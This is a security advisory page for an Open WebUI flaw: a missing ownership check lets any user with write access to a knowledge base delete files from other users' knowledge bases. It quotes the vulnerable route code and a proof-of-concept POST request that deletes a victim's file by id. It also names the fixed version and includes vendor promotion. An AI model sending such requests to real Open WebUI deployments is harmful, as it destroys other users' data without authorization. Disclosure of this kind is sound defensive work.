GHSA-26gm-93rw-cchf
MEDIUMOpen WebUI has unauthorized deletion of knowledge files
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)
Details
The source code at https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base:
@router.post("/{id}/file/remove", response_model=Optional[KnowledgeFilesResponse])
def remove_file_from_knowledge_by_id(
id: str,
form_data: KnowledgeFileIdForm,
delete_file: bool = Query(True),
user=Depends(get_verified_user),
db: Session = Depends(get_session),
):
knowledge = Knowledges.get_knowledge_by_id(id=id, db=db)
[...]
# Note : Access control check on the knowledge base
if (
knowledge.user_id != user.id
and not AccessGrants.has_access(
user_id=user.id,
resource_type="knowledge",
resource_id=knowledge.id,
permission="write",
db=db,
)
and user.role != "admin"
):
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
file = Files.get_file_by_id(form_data.file_id, db=db)
[...]
# Note : No checks on the file
if delete_file:
try:
# Remove the file's collection from vector database
file_collection = f"file-{form_data.file_id}"
if VECTOR_DB_CLIENT.has_collection(collection_name=file_collection):
VECTOR_DB_CLIENT.delete_collection(collection_name=file_collection)
except Exception as e:
log.debug("This was most likely caused by bypassing embedding processing")
log.debug(e)
pass
# Delete file from database
Files.delete_file_by_id(form_data.file_id, db=db)
[...]
PoC
Victim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1) Attacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b) Attacker deletes the victim file from their own collection:
POST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1
Host: gaius-neo-val.fr.space.corp
Authorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0
[...]
{"file_id":"9db6dcee-bb3b-483e-aaf3-310fda366af1"}
-----
HTTP/1.1 200 OK
[...]
The file is then deleted from the victim's knowledge base.
Impact
Arbitrary file deletion
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.8.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.8.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-26gm-93rw-cchf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-26gm-93rw-cchf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-26gm-93rw-cchf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-26gm-93rw-cchf in your dependencies?
O3 detects GHSA-26gm-93rw-cchf across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.